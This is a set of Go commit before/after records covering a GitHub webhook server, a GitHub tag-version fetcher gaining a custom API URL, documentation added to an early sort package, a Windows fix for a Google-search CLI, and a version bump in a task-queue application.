	var decoder *json.Decoder

	if strings.Contains(req.Header.Get("Content-Type"), "application/json") {

		decoder = json.NewDecoder(req.Body)

	} else if strings.Contains(req.Header.Get("Content-Type"), "application/x-www-form-urlencoded") {
		err := req.ParseForm()
		if err != nil {
			http.Error(w, "Bad Request", http.StatusBadRequest)
			return
		}
		p := req.FormValue("payload")
		decoder = json.NewDecoder(strings.NewReader(p))
	}

	err := decoder.Decode(&payload)
	if err != nil {
		http.Error(w, "Bad Request", http.StatusBadRequest)
		return
	}
	Emmit(event, payload)
	w.WriteHeader(http.StatusOK)
}
<commit_msg>Add new line<commit_after>package ghooks

import (
	"encoding/json"
	"fmt"
	"net/http"
	"strconv"
	"strings"
)

const (
	VERSION = 0.1
)

type Server struct {
	Port int
}

type Hook struct {
	Event string
	Func  func(payload interface{})
}

type Hooks struct {
	Hooks []Hook
}

var hooks Hooks

func (s *Server) On(name string, handler func(payload interface{})) {
	hooks.Hooks = append(hooks.Hooks, Hook{Event: name, Func: handler})
}

func Emmit(name string, payload interface{}) {
	for _, v := range hooks.Hooks {
		if strings.EqualFold(v.Event, name) {
			v.Func(payload)
		}
	}
}

func NewServer(port int) *Server {
	return &Server{port}
}

func (s *Server) Run() error {
	fmt.Printf("ghooks server start 0.0.0.0:%d \n", s.Port)
	http.HandleFunc("/", Reciver)
	return http.ListenAndServe(":"+strconv.Itoa(s.Port), nil)
}

func Reciver(w http.ResponseWriter, req *http.Request) {
	if req.Method == "GET" {
		http.Error(w, "Method Not Allowd", http.StatusMethodNotAllowed)
		return
	}

	event := req.Header.Get("X-GitHub-Event")

	if event == "" {
		http.Error(w, "Bad Request", http.StatusBadRequest)
		return
	}

	if req.Body == nil {
		http.Error(w, "Bad Request", http.StatusBadRequest)
		return
	}
	defer req.Body.Close()

	var payload interface{}
	var decoder *json.Decoder

	if strings.Contains(req.Header.Get("Content-Type"), "application/json") {

		decoder = json.NewDecoder(req.Body)

	} else if strings.Contains(req.Header.Get("Content-Type"), "application/x-www-form-urlencoded") {

		err := req.ParseForm()
		if err != nil {
			http.Error(w, "Bad Request", http.StatusBadRequest)
			return
		}
		p := req.FormValue("payload")
		decoder = json.NewDecoder(strings.NewReader(p))
	}

	err := decoder.Decode(&payload)
	if err != nil {
		http.Error(w, "Bad Request", http.StatusBadRequest)
		return
	}
	Emmit(event, payload)
	w.WriteHeader(http.StatusOK)
}
<|endoftext|>


<commit_before>package latest

import (
	"fmt"
	"strings"

	"github.com/google/go-github/github"
	"github.com/hashicorp/go-version"
)

// FixVersionStrFunc is function to fix version string
// so that it can be interpreted as Semantic Versiongin by
// http://godoc.org/github.com/hashicorp/go-version
type FixVersionStrFunc func(string) string

// TagFilterFunc is fucntion to filter unexpected tags
// from GitHub. Check a given tag as string (before FixVersionStr)
// and return bool. If it's expected, return true. If not return false.
type TagFilterFunc func(string) bool

var (
	defaultFixVersionStrFunc FixVersionStrFunc
	defaultTagFilterFunc     TagFilterFunc
)

func init() {
	defaultFixVersionStrFunc = fixNothing()
	defaultTagFilterFunc = filterNothing()
}

// GithubTag is used to fetch version(tag) information from Github.
type GithubTag struct {
	// Owner and Repository are GitHub owner name and its repository name.
	// e.g., If you want to check https://github.com/tcnksm/ghr version
	// Repository is `ghr`, and Owner is `tcnksm`.
	Owner      string
	Repository string

	// FixVersionStrFunc is function to fix version string (in this case tag
	// name string) on GitHub so that it can be interpreted as Semantic Versioning
	// by hashicorp/go-version. By default, it does nothing.
	FixVersionStrFunc FixVersionStrFunc

	// TagFilterFunc is function to filter tags from GitHub. Some project includes
	// tags you don't want to use for version comparing. It can be used to exclude
	// such tags. By default, it does nothing.
	TagFilterFunc TagFilterFunc

	// URL & Token is used for GitHub Enterprise
	URL   string
	Token string
}

func (g *GithubTag) fixVersionStrFunc() FixVersionStrFunc {
	if g.FixVersionStrFunc == nil {
		return defaultFixVersionStrFunc
	}

	return g.FixVersionStrFunc
}

func (g *GithubTag) tagFilterFunc() TagFilterFunc {
	if g.TagFilterFunc == nil {
		return defaultTagFilterFunc
	}

	return g.TagFilterFunc
}

// fixNothing does nothing. This is a default function of FixVersionStrFunc.
func fixNothing() FixVersionStrFunc {
	return func(s string) string {
		return s
	}
}

func filterNothing() TagFilterFunc {
	return func(s string) bool {
		return true
	}
}

// DeleteFrontV delete first `v` charactor on version string.
// For example version name `v0.1.1` becomes `0.1.1`
func DeleteFrontV() FixVersionStrFunc {
	return func(s string) string {
		return strings.Replace(s, "v", "", 1)
	}
}

func (g *GithubTag) newClient() *github.Client {
	return github.NewClient(nil)
}

func (g *GithubTag) Validate() error {

	if len(g.Repository) == 0 {
		return fmt.Errorf("GitHub repository name must be set")
	}

	if len(g.Owner) == 0 {
		return fmt.Errorf("GitHub owner name must be set")
	}

	return nil
}

func (g *GithubTag) Fetch() (*FetchResponse, error) {

	fr := newFetchResponse()

	// Create a client
	client := g.newClient()
	tags, resp, err := client.Repositories.ListTags(g.Owner, g.Repository, nil)
	if err != nil {
		return fr, err
	}

	if resp.StatusCode != 200 {
		return fr, fmt.Errorf("Unknown status: %d", resp.StatusCode)
	}

	// fixF is FixVersionStrFunc transform tag name string into SemVer string
	// By default, it does nothing.
	fixF := g.fixVersionStrFunc()

	// filterF is TagFilterFunc to filter unexpected tags
	// By default, it filter nothing.
	filterF := g.tagFilterFunc()

	for _, tag := range tags {
		if !filterF(*tag.Name) {
			fr.Malformeds = append(fr.Malformeds, *tag.Name)
			continue
		}
		v, err := version.NewVersion(fixF(*tag.Name))
		if err != nil {
			fr.Malformeds = append(fr.Malformeds, fixF(*tag.Name))
			continue
		}
		fr.Versions = append(fr.Versions, v)
	}

	return fr, nil
}
<commit_msg>pass custom api url to github client<commit_after>package latest

import (
	"fmt"
	"net/url"
	"strings"

	"github.com/google/go-github/github"
	"github.com/hashicorp/go-version"
)

// FixVersionStrFunc is function to fix version string
// so that it can be interpreted as Semantic Versiongin by
// http://godoc.org/github.com/hashicorp/go-version
type FixVersionStrFunc func(string) string

// TagFilterFunc is fucntion to filter unexpected tags
// from GitHub. Check a given tag as string (before FixVersionStr)
// and return bool. If it's expected, return true. If not return false.
type TagFilterFunc func(string) bool

var (
	defaultFixVersionStrFunc FixVersionStrFunc
	defaultTagFilterFunc     TagFilterFunc
)

func init() {
	defaultFixVersionStrFunc = fixNothing()
	defaultTagFilterFunc = filterNothing()
}

// GithubTag is used to fetch version(tag) information from Github.
type GithubTag struct {
	// Owner and Repository are GitHub owner name and its repository name.
	// e.g., If you want to check https://github.com/tcnksm/ghr version
	// Repository is `ghr`, and Owner is `tcnksm`.
	Owner      string
	Repository string

	// FixVersionStrFunc is function to fix version string (in this case tag
	// name string) on GitHub so that it can be interpreted as Semantic Versioning
	// by hashicorp/go-version. By default, it does nothing.
	FixVersionStrFunc FixVersionStrFunc

	// TagFilterFunc is function to filter tags from GitHub. Some project includes
	// tags you don't want to use for version comparing. It can be used to exclude
	// such tags. By default, it does nothing.
	TagFilterFunc TagFilterFunc

	// URL & Token is used for GitHub Enterprise
	URL   string
	Token string
}

func (g *GithubTag) fixVersionStrFunc() FixVersionStrFunc {
	if g.FixVersionStrFunc == nil {
		return defaultFixVersionStrFunc
	}

	return g.FixVersionStrFunc
}

func (g *GithubTag) tagFilterFunc() TagFilterFunc {
	if g.TagFilterFunc == nil {
		return defaultTagFilterFunc
	}

	return g.TagFilterFunc
}

// fixNothing does nothing. This is a default function of FixVersionStrFunc.
func fixNothing() FixVersionStrFunc {
	return func(s string) string {
		return s
	}
}

func filterNothing() TagFilterFunc {
	return func(s string) bool {
		return true
	}
}

// DeleteFrontV delete first `v` charactor on version string.
// For example version name `v0.1.1` becomes `0.1.1`
func DeleteFrontV() FixVersionStrFunc {
	return func(s string) string {
		return strings.Replace(s, "v", "", 1)
	}
}

func (g *GithubTag) newClient() *github.Client {
	client := github.NewClient(nil)
	if g.URL != "" {
		client.BaseURL, _ = url.Parse(g.URL)
	}
	return client
}

func (g *GithubTag) Validate() error {

	if len(g.Repository) == 0 {
		return fmt.Errorf("GitHub repository name must be set")
	}

	if len(g.Owner) == 0 {
		return fmt.Errorf("GitHub owner name must be set")
	}

	if g.URL != "" {
		if _, err := url.Parse(g.URL); err != nil {
			return fmt.Errorf("GitHub API Url invalid: %s", err)
		}
	}

	return nil
}

func (g *GithubTag) Fetch() (*FetchResponse, error) {

	fr := newFetchResponse()

	// Create a client
	client := g.newClient()
	tags, resp, err := client.Repositories.ListTags(g.Owner, g.Repository, nil)
	if err != nil {
		return fr, err
	}

	if resp.StatusCode != 200 {
		return fr, fmt.Errorf("Unknown status: %d", resp.StatusCode)
	}

	// fixF is FixVersionStrFunc transform tag name string into SemVer string
	// By default, it does nothing.
	fixF := g.fixVersionStrFunc()

	// filterF is TagFilterFunc to filter unexpected tags
	// By default, it filter nothing.
	filterF := g.tagFilterFunc()

	for _, tag := range tags {
		if !filterF(*tag.Name) {
			fr.Malformeds = append(fr.Malformeds, *tag.Name)
			continue
		}
		v, err := version.NewVersion(fixF(*tag.Name))
		if err != nil {
			fr.Malformeds = append(fr.Malformeds, fixF(*tag.Name))
			continue
		}
		fr.Versions = append(fr.Versions, v)
	}

	return fr, nil
}
<|endoftext|>


<commit_before>// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

package sort

type SortInterface interface {
	Len() int;
	Less(i, j int) bool;
	Swap(i, j int);
}

func min(a, b int) int {
	if a < b {
		return a;
	}
	return b;
}

// Insertion sort
func insertionSort(data SortInterface, a, b int) {
	for i := a+1; i < b; i++ {
		for j := i; j > a && data.Less(j, j-1); j-- {
			data.Swap(j, j-1);
		}
	}
}

// Quicksort, following Bentley and McIlroy,
// ``Engineering a Sort Function,'' SP&E November 1993.

// Move the median of the three values data[a], data[b], data[c] into data[a].
func medianOfThree(data SortInterface, a, b, c int) {
	m0 := b;
	m1 := a;
	m2 := c;
	// bubble sort on 3 elements
	if data.Less(m1, m0) { data.Swap(m1, m0); }
	if data.Less(m2, m1) { data.Swap(m2, m1); }
	if data.Less(m1, m0) { data.Swap(m1, m0); }
	// now data[m0] <= data[m1] <= data[m2]
}

func swapRange(data SortInterface, a, b, n int) {
	for i := 0; i < n; i++ {
		data.Swap(a+i, b+i);
	}
}

func doPivot(data SortInterface, lo, hi int) (midlo, midhi int) {
	m := (lo+hi)/2;
	if hi - lo > 40 {
		// Tukey's ``Ninther,'' median of three medians of three.
		s := (hi - lo) / 8;
		medianOfThree(data, lo, lo+s, lo+2*s);
		medianOfThree(data, m, m-s, m+s);
		medianOfThree(data, hi-1, hi-1-s, hi-1-2*s);
	}
	medianOfThree(data, lo, m, hi-1);

	// Invariants are:
	//	data[lo] = pivot (set up by ChoosePivot)
	//	data[lo <= i < a] = pivot
	//	data[a <= i < b] < pivot
	//	data[b <= i < c] is unexamined
	//	data[c <= i < d] > pivot
	//	data[d <= i < hi] = pivot
	//
	// Once b meets c, can swap the "= pivot" sections
	// into the middle of the array.
	pivot := lo;
	a, b, c, d := lo+1, lo+1, hi, hi;
	for b < c {
		if data.Less(b, pivot) {	// data[b] < pivot
			b++;
			continue;
		}
		if !data.Less(pivot, b) {	// data[b] = pivot
			data.Swap(a, b);
			a++;
			b++;
			continue;
		}
		if data.Less(pivot, c-1) {	// data[c-1] > pivot
			c--;
			continue;
		}
		if !data.Less(c-1, pivot) {	// data[c-1] = pivot
			data.Swap(c-1, d-1);
			c--;
			d--;
			continue;
		}
		// data[b] > pivot; data[c-1] < pivot
		data.Swap(b, c-1);
		b++;
		c--;
	}

	n := min(b-a, a-lo);
	swapRange(data, lo, b-n, n);

	n = min(hi-d, d-c);
	swapRange(data, c, hi-n, n);

	return lo+b-a, hi-(d-c);
}

func quickSort(data SortInterface, a, b int) {
	if b - a > 7 {
		mlo, mhi := doPivot(data, a, b);
		quickSort(data, a, mlo);
		quickSort(data, mhi, b);
	} else if b - a > 1 {
		insertionSort(data, a, b);
	}
}

func Sort(data SortInterface) {
	quickSort(data, 0, data.Len());
}

func IsSorted(data SortInterface) bool {
	n := data.Len();
	for i := n - 1; i > 0; i-- {
		if data.Less(i, i - 1) {
			return false;
		}
	}
	return true;
}

// Convenience types for common cases

type IntArray []int

func (p IntArray) Len() int            { return len(p); }
func (p IntArray) Less(i, j int) bool  { return p[i] < p[j]; }
func (p IntArray) Swap(i, j int)       { p[i], p[j] = p[j], p[i]; }

type FloatArray  []float

func (p FloatArray) Len() int            { return len(p); }
func (p FloatArray) Less(i, j int) bool  { return p[i] < p[j]; }
func (p FloatArray) Swap(i, j int)       { p[i], p[j] = p[j], p[i]; }

type StringArray []string

func (p StringArray) Len() int            { return len(p); }
func (p StringArray) Less(i, j int) bool  { return p[i] < p[j]; }
func (p StringArray) Swap(i, j int)       { p[i], p[j] = p[j], p[i]; }

// Convenience wrappers for common cases

func SortInts(a []int)        { Sort(IntArray(a)); }
func SortFloats(a []float)    { Sort(FloatArray(a)); }
func SortStrings(a []string)  { Sort(StringArray(a)); }

func IntsAreSorted(a []int) bool       { return IsSorted(IntArray(a)); }
func FloatsAreSorted(a []float) bool   { return IsSorted(FloatArray(a)); }
func StringsAreSorted(a []string) bool { return IsSorted(StringArray(a)); }
<commit_msg>document sort<commit_after>// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

// The sort package provides primitives for sorting arrays
// and user-defined collections.
package sort

// SortInterface is the interface that a type, typically a collection,
// must implement for its contents to be sorted in increasing order.
// Its methods require that the elements of the collection be enumerated
// by an integer index.
type SortInterface interface {
	// Len is the number of elements in the collection.
	Len() int;
	// Less returns whether the element with index i is should sort
	// before the element with index j.
	// TODO(r): should this method be renamed Before?
	Less(i, j int) bool;
	// Swap swaps the elements with indexes i and j.
	Swap(i, j int);
}

func min(a, b int) int {
	if a < b {
		return a;
	}
	return b;
}

// Insertion sort
func insertionSort(data SortInterface, a, b int) {
	for i := a+1; i < b; i++ {
		for j := i; j > a && data.Less(j, j-1); j-- {
			data.Swap(j, j-1);
		}
	}
}

// Quicksort, following Bentley and McIlroy,
// ``Engineering a Sort Function,'' SP&E November 1993.

// Move the median of the three values data[a], data[b], data[c] into data[a].
func medianOfThree(data SortInterface, a, b, c int) {
	m0 := b;
	m1 := a;
	m2 := c;
	// bubble sort on 3 elements
	if data.Less(m1, m0) { data.Swap(m1, m0); }
	if data.Less(m2, m1) { data.Swap(m2, m1); }
	if data.Less(m1, m0) { data.Swap(m1, m0); }
	// now data[m0] <= data[m1] <= data[m2]
}

func swapRange(data SortInterface, a, b, n int) {
	for i := 0; i < n; i++ {
		data.Swap(a+i, b+i);
	}
}

func doPivot(data SortInterface, lo, hi int) (midlo, midhi int) {
	m := (lo+hi)/2;
	if hi - lo > 40 {
		// Tukey's ``Ninther,'' median of three medians of three.
		s := (hi - lo) / 8;
		medianOfThree(data, lo, lo+s, lo+2*s);
		medianOfThree(data, m, m-s, m+s);
		medianOfThree(data, hi-1, hi-1-s, hi-1-2*s);
	}
	medianOfThree(data, lo, m, hi-1);

	// Invariants are:
	//	data[lo] = pivot (set up by ChoosePivot)
	//	data[lo <= i < a] = pivot
	//	data[a <= i < b] < pivot
	//	data[b <= i < c] is unexamined
	//	data[c <= i < d] > pivot
	//	data[d <= i < hi] = pivot
	//
	// Once b meets c, can swap the "= pivot" sections
	// into the middle of the array.
	pivot := lo;
	a, b, c, d := lo+1, lo+1, hi, hi;
	for b < c {
		if data.Less(b, pivot) {	// data[b] < pivot
			b++;
			continue;
		}
		if !data.Less(pivot, b) {	// data[b] = pivot
			data.Swap(a, b);
			a++;
			b++;
			continue;
		}
		if data.Less(pivot, c-1) {	// data[c-1] > pivot
			c--;
			continue;
		}
		if !data.Less(c-1, pivot) {	// data[c-1] = pivot
			data.Swap(c-1, d-1);
			c--;
			d--;
			continue;
		}
		// data[b] > pivot; data[c-1] < pivot
		data.Swap(b, c-1);
		b++;
		c--;
	}

	n := min(b-a, a-lo);
	swapRange(data, lo, b-n, n);

	n = min(hi-d, d-c);
	swapRange(data, c, hi-n, n);

	return lo+b-a, hi-(d-c);
}

func quickSort(data SortInterface, a, b int) {
	if b - a > 7 {
		mlo, mhi := doPivot(data, a, b);
		quickSort(data, a, mlo);
		quickSort(data, mhi, b);
	} else if b - a > 1 {
		insertionSort(data, a, b);
	}
}

func Sort(data SortInterface) {
	quickSort(data, 0, data.Len());
}

func IsSorted(data SortInterface) bool {
	n := data.Len();
	for i := n - 1; i > 0; i-- {
		if data.Less(i, i - 1) {
			return false;
		}
	}
	return true;
}

// Convenience types for common cases

// IntArray attaches the methods of SortInterface to []int, sorting in increasing order.
type IntArray []int

func (p IntArray) Len() int            { return len(p); }
func (p IntArray) Less(i, j int) bool  { return p[i] < p[j]; }
func (p IntArray) Swap(i, j int)       { p[i], p[j] = p[j], p[i]; }

// FloatArray attaches the methods of SortInterface to []float, sorting in increasing order.
type FloatArray  []float

func (p FloatArray) Len() int            { return len(p); }
func (p FloatArray) Less(i, j int) bool  { return p[i] < p[j]; }
func (p FloatArray) Swap(i, j int)       { p[i], p[j] = p[j], p[i]; }

// StringArray attaches the methods of SortInterface to []string, sorting in increasing order.
type StringArray []string

func (p StringArray) Len() int            { return len(p); }
func (p StringArray) Less(i, j int) bool  { return p[i] < p[j]; }
func (p StringArray) Swap(i, j int)       { p[i], p[j] = p[j], p[i]; }

// Convenience wrappers for common cases

// SortInts sorts an array of ints in increasing order.
func SortInts(a []int)        { Sort(IntArray(a)); }
// SortFloats sorts an array of floats in increasing order.
func SortFloats(a []float)    { Sort(FloatArray(a)); }
// SortStrings sorts an array of strings in increasing order.
func SortStrings(a []string)  { Sort(StringArray(a)); }

// IntsAreSorted tests whether an array of ints is sorted in increasing order.
func IntsAreSorted(a []int) bool       { return IsSorted(IntArray(a)); }
// FloatsAreSorted tests whether an array of floats is sorted in increasing order.
func FloatsAreSorted(a []float) bool   { return IsSorted(FloatArray(a)); }
// StringsAreSorted tests whether an array of strings is sorted in increasing order.
func StringsAreSorted(a []string) bool { return IsSorted(StringArray(a)); }
<|endoftext|>


<commit_before>package main

import (
	"log"
	"os"
	"os/exec"
	"runtime"
	"strings"

	"github.com/codegangsta/cli"
)

func main() {
	app := cli.NewApp()
	app.Name = "google"
	app.Usage = "Quick Search from terminal on google"
	app.Action = func(c *cli.Context) {
		if len(c.Args()) == 0 {
			println("give a search query, e.g. \"google hello world\" ")
		} else {
			s := strings.Join(c.Args(), "+")
			println("let me google", s)

			cmd := new(exec.Cmd)

			switch runtime.GOOS {

			case "linux":
				cmd = exec.Command("xdg-open", "https://google.com/#q="+s)
			case "windows":
				cmd = exec.Command("start", "https://google.com/#q="+s)
			case "darwin":
				cmd = exec.Command("open", "https://google.com/#q="+s)
			default:
				cmd = exec.Command("xdg-open", "https://google.com/#q="+s)
				//TODO: Add support for more Operating Systems
			}

			err := cmd.Start()
			if err != nil {
				log.Fatal(err)
			}
		}
	}
	app.Run(os.Args)
}
<commit_msg>Opens url in windows, Fixes #1<commit_after>package main

import (
	"log"
	"os"
	"os/exec"
	"runtime"
	"strings"

	"github.com/codegangsta/cli"
)

func main() {
	app := cli.NewApp()
	app.Name = "google"
	app.Usage = "Quick Search from terminal on google"
	app.Action = func(c *cli.Context) {
		if len(c.Args()) == 0 {
			println("give a search query, e.g. \"google hello world\" ")
		} else {
			s := strings.Join(c.Args(), "+")
			println("let me google", s)

			cmd := new(exec.Cmd)

			switch runtime.GOOS {

			case "linux":
				cmd = exec.Command("xdg-open", "https://google.com/#q="+s)
			case "windows":
				cmd = exec.Command("cmd", "/c", "start", "https://google.com/#q="+s)
			case "darwin":
				cmd = exec.Command("open", "https://google.com/#q="+s)
			default:
				cmd = exec.Command("xdg-open", "https://google.com/#q="+s)
				//TODO: Add support for more Operating Systems
			}

			err := cmd.Start()
			if err != nil {
				log.Fatal(err)
			}
		}
	}
	app.Run(os.Args)
}
<|endoftext|>


<commit_before>// This is the Gordon main application.
// It parses all commandline flags, creates instances of all necessary packages
// and triggers the creation of all worker go-routines.
package main

import (
	"./go/basepath"
	"./go/config"
	"./go/output"
	"./go/stats"
	"./go/taskqueue"
	"flag"
	"fmt"
	"log"
	"os"
	"os/signal"
	"syscall"
)

const GordonVersion = "1.3.2"

var (
	configFile  string
	verbose     bool
	logfile     string
	showVersion bool
)

func init() {
	flag.StringVar(&configFile, "c", "", "path to config file")
	flag.StringVar(&logfile, "l", "", "path to logfile")
	flag.BoolVar(&verbose, "v", false, "enable verbose/debugging output")
	flag.BoolVar(&showVersion, "V", false, "show version")
}

func main() {
	flag.Parse()

	if showVersion == true {
		fmt.Printf("Gordon version %s\n", GordonVersion)
		os.Exit(0)
	}

	base, err := basepath.NewBasepath()
	if err != nil {
		log.Fatal("basepath: ", err)
	}

	// When no configuration file was passed as a flag, use the default location.
	if configFile == "" {
		configFile = base.GetPathWith("./gordon.config.json")
	}

	conf, err := config.NewConfig(configFile)
	if err != nil {
		log.Fatal("config: ", err)
	}

	out := output.NewOutput()
	out.SetDebug(verbose)
	out.SetErrorScript(conf.ErrorScript)
	out.SetTempDir(base.GetPathWith(conf.TempDir))

	// When no logfile was passed as a flag but it was set in the configuration,
	// use that one instead.
	if logfile == "" && conf.Logfile != "" {
		logfile = base.GetPathWith(conf.Logfile)
	}

	if logfile != "" {
		err = out.SetLogfile(logfile)

		if err != nil {
			log.Fatal("out.SetLogfile(): ", err)
		}
	}

	sta := stats.NewStats()
	sta.SetVersion(GordonVersion)

	tq := taskqueue.NewTaskqueue()
	tq.SetOutput(out)
	tq.SetConfig(conf)
	tq.SetStats(&sta)

	for _, ct := range conf.Tasks {
		ct.Script = base.GetPathWith(ct.Script)
		tq.CreateWorkers(ct)

		sta.InitTask(ct.Type)
	}

	// If the StatsInterface was set, start the HTTP-server for it.
	if conf.StatsInterface != "" {
		if conf.StatsPattern == "" {
			conf.StatsPattern = "/"
		}

		go func() {
			var err error

			if conf.StatsTLSCertFile != "" {
				conf.StatsTLSCertFile = base.GetPathWith(conf.StatsTLSCertFile)
				conf.StatsTLSKeyFile = base.GetPathWith(conf.StatsTLSKeyFile)

				out.Debug("Serving stats on https://" + conf.StatsInterface + conf.StatsPattern)
				err = sta.ServeHttps(conf.StatsInterface, conf.StatsPattern, conf.StatsTLSCertFile, conf.StatsTLSKeyFile)
			} else {
				out.Debug("Serving stats on http://" + conf.StatsInterface + conf.StatsPattern)
				err = sta.ServeHttp(conf.StatsInterface, conf.StatsPattern)
			}

			if err != nil {
				out.NotifyError(fmt.Sprintf("stats.ServeHttp(): %s", err))
			}
		}()
	}

	// Start another go-routine to initiate the graceful shutdown of all taskqueue-workers,
	// when the application shall be terminated.
	cc := make(chan os.Signal)
	signal.Notify(cc, os.Interrupt, os.Kill, syscall.SIGTERM)
	go func() {
		<-cc
		tq.Stop()
	}()

	tq.Wait()
}
<commit_msg>bumped version to 1.3.3<commit_after>// This is the Gordon main application.
// It parses all commandline flags, creates instances of all necessary packages
// and triggers the creation of all worker go-routines.
package main

import (
	"./go/basepath"
	"./go/config"
	"./go/output"
	"./go/stats"
	"./go/taskqueue"
	"flag"
	"fmt"
	"log"
	"os"
	"os/signal"
	"syscall"
)

const GordonVersion = "1.3.3"

var (
	configFile  string
	verbose     bool
	logfile     string
	showVersion bool
)

func init() {
	flag.StringVar(&configFile, "c", "", "path to config file")
	flag.StringVar(&logfile, "l", "", "path to logfile")
	flag.BoolVar(&verbose, "v", false, "enable verbose/debugging output")
	flag.BoolVar(&showVersion, "V", false, "show version")
}

func main() {
	flag.Parse()

	if showVersion == true {
		fmt.Printf("Gordon version %s\n", GordonVersion)
		os.Exit(0)
	}

	base, err := basepath.NewBasepath()
	if err != nil {
		log.Fatal("basepath: ", err)
	}

	// When no configuration file was passed as a flag, use the default location.
	if configFile == "" {
		configFile = base.GetPathWith("./gordon.config.json")
	}

	conf, err := config.NewConfig(configFile)
	if err != nil {
		log.Fatal("config: ", err)
	}

	out := output.NewOutput()
	out.SetDebug(verbose)
	out.SetErrorScript(conf.ErrorScript)
	out.SetTempDir(base.GetPathWith(conf.TempDir))

	// When no logfile was passed as a flag but it was set in the configuration,
	// use that one instead.
	if logfile == "" && conf.Logfile != "" {
		logfile = base.GetPathWith(conf.Logfile)
	}

	if logfile != "" {
		err = out.SetLogfile(logfile)

		if err != nil {
			log.Fatal("out.SetLogfile(): ", err)
		}
	}

	sta := stats.NewStats()
	sta.SetVersion(GordonVersion)

	tq := taskqueue.NewTaskqueue()
	tq.SetOutput(out)
	tq.SetConfig(conf)
	tq.SetStats(&sta)

	for _, ct := range conf.Tasks {
		ct.Script = base.GetPathWith(ct.Script)
		tq.CreateWorkers(ct)

		sta.InitTask(ct.Type)
	}

	// If the StatsInterface was set, start the HTTP-server for it.
	if conf.StatsInterface != "" {
		if conf.StatsPattern == "" {
			conf.StatsPattern = "/"
		}

		go func() {
			var err error

			if conf.StatsTLSCertFile != "" {
				conf.StatsTLSCertFile = base.GetPathWith(conf.StatsTLSCertFile)
				conf.StatsTLSKeyFile = base.GetPathWith(conf.StatsTLSKeyFile)

				out.Debug("Serving stats on https://" + conf.StatsInterface + conf.StatsPattern)
				err = sta.ServeHttps(conf.StatsInterface, conf.StatsPattern, conf.StatsTLSCertFile, conf.StatsTLSKeyFile)
			} else {
				out.Debug("Serving stats on http://" + conf.StatsInterface + conf.StatsPattern)
				err = sta.ServeHttp(conf.StatsInterface, conf.StatsPattern)
			}

			if err != nil {
				out.NotifyError(fmt.Sprintf("stats.ServeHttp(): %s", err))
			}
		}()
	}

	// Start another go-routine to initiate the graceful shutdown of all taskqueue-workers,
	// when the application shall be terminated.
	cc := make(chan os.Signal)
	signal.Notify(cc, os.Interrupt, os.Kill, syscall.SIGTERM)
	go func() {
		<-cc
		tq.Stop()
	}()

	tq.Wait()
}
<|endoftext|>